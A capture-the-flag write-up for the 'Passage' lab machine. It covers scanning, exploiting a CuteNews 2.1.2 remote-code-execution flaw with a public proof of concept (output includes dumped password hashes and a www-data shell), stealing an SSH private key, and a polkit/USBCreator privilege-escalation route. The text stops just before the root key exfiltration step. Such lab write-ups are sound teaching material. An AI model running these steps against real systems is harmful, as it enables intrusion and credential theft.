$ nmap -sV -sC -PN -p- -oA passage_nmap 10.10.10.206
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
| 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
No open UDP ports were found.
There is a website on port 80 running an instance of CuteNews. Most of the news articles on the site are simple placeholders, except for the latest one which mentions that the site has implemented Fail2Ban:
Having Fail2Ban running on the target effectively eliminates any chances of brute-force enumerating the site with tools like FFuF. Any web site enumeration has to be done manually instead.
Searching for any vulnerabilities in CuteNews turned up CVE-2019-11447, which is an RCE vulnerability in CuteNews 2.1.2. While the version of CuteNews running on the target isn't mentioned on the front page, navigating to http://passage.htb/CuteNews/index.php?register/ confirms that the version is in fact the vulnerable 2.1.2 version:
Foothold
Used the PoC linked above to exploit the RCE vulnerability in the CuteNews instance and gain a shell as www-data:
$ python 48800.py
...
[->] Usage python3 expoit.py
Enter the URL> http://passage.htb/
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================
=============================
Registering a users
=============================
[+] Registration successful with username: kbGJb6W2vJ and password: kbGJb6W2vJ
=======================================================
Sending Payload
=======================================================
signature_key: 5e5ed104b36675d8da3458275309f712-kbGJb6W2vJ
signature_dsi: 0a21b0b7aacfb0ffd21bcd4cd1a62afb
logged in user: kbGJb6W2vJ
============================
Dropping to a SHELL
============================
command > id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Stood up a better reverse shell, then upgraded it for full interactivity.
Note
The PoC automatically extracted user's password hashes for cracking above. The hashes are stored as base64 encoded strings under cdata/users/lines. Decoding the strings from the file manually reveals which users the hashes belong to. For instance, the last string in cdata/users/lines is for the user created by the PoC:
There are two users with home directories on the target, nadav and paul. Decoding cdata/userts/lines manually reveals that the hashes for the two users are:
The target doesn't permit SSH connections with password authentication. Only key-based authentication is allowed.
Used su from the www-data reverse shell to access paul's account, then stole the SSH private key from /home/paul/.ssh/id_rsa. Used it to connect to the target over SSH as user paul and got the user flag.
Privilege Escalation (Root)
The private SSH key from paul's home directory is also valid for user nadav. Used it to connect to the target as nadav.
$ ssh -i paul_id nadav@passage.htb
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
nadav is a privileged user on the system with sudo access. However, abusing this access for privilege escalation requires either finding their password or another route for escalating privileges.
There is a ~/.viminfo file in nadav's home directory:
nadav@passage:~$ cat .viminfo
# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&AdminIdentities=unix-group:root
# Last Substitute String:
$AdminIdentities=unix-group:sudo
# Command Line History (newest to oldest):
:wq
:%s/AdminIdentities=unix-group:root/AdminIdentities=unix-group:sudo/g
# Search String History (newest to oldest):
? AdminIdentities=unix-group:root
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Input Line History (newest to oldest):
# Registers:
# File marks:
'0 12 7 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
'1 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
# Jumplist (newest first):
-' 12 7 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-' 1 0 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-' 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-' 1 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-' 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-' 1 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
# History of marks within files (newest to oldest):
> /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
" 12 7
> /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
" 2 0
. 2 0
+ 2 0
According to the log in .viminfo, a change was made to /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf in which the AdminIdentities parameter was changed from root to sudo. This file controls the permissions for the USB creator service defined in /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf:
<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Only root can own the service -->
<policy user="root">
<allow own="com.ubuntu.USBCreator"/>
</policy>
<!-- Allow anyone to invoke methods (further constrained by
PolicyKit privileges -->
<policy context="default">
<allow send_destination="com.ubuntu.USBCreator"
send_interface="com.ubuntu.USBCreator"/>
<allow send_destination="com.ubuntu.USBCreator"
send_interface="org.freedesktop.DBus.Introspectable"/>
<allow send_destination="com.ubuntu.USBCreator"
send_interface="org.freedesktop.DBus.Properties"/>
</policy>
</busconfig>
This configuration change introduces a very specific vulnerability in which a user can escalate privileges without supplying a password, as described in this blog post.
Adapting the example in the blog post, root's SSH key can be exfiltrated without a password like so:
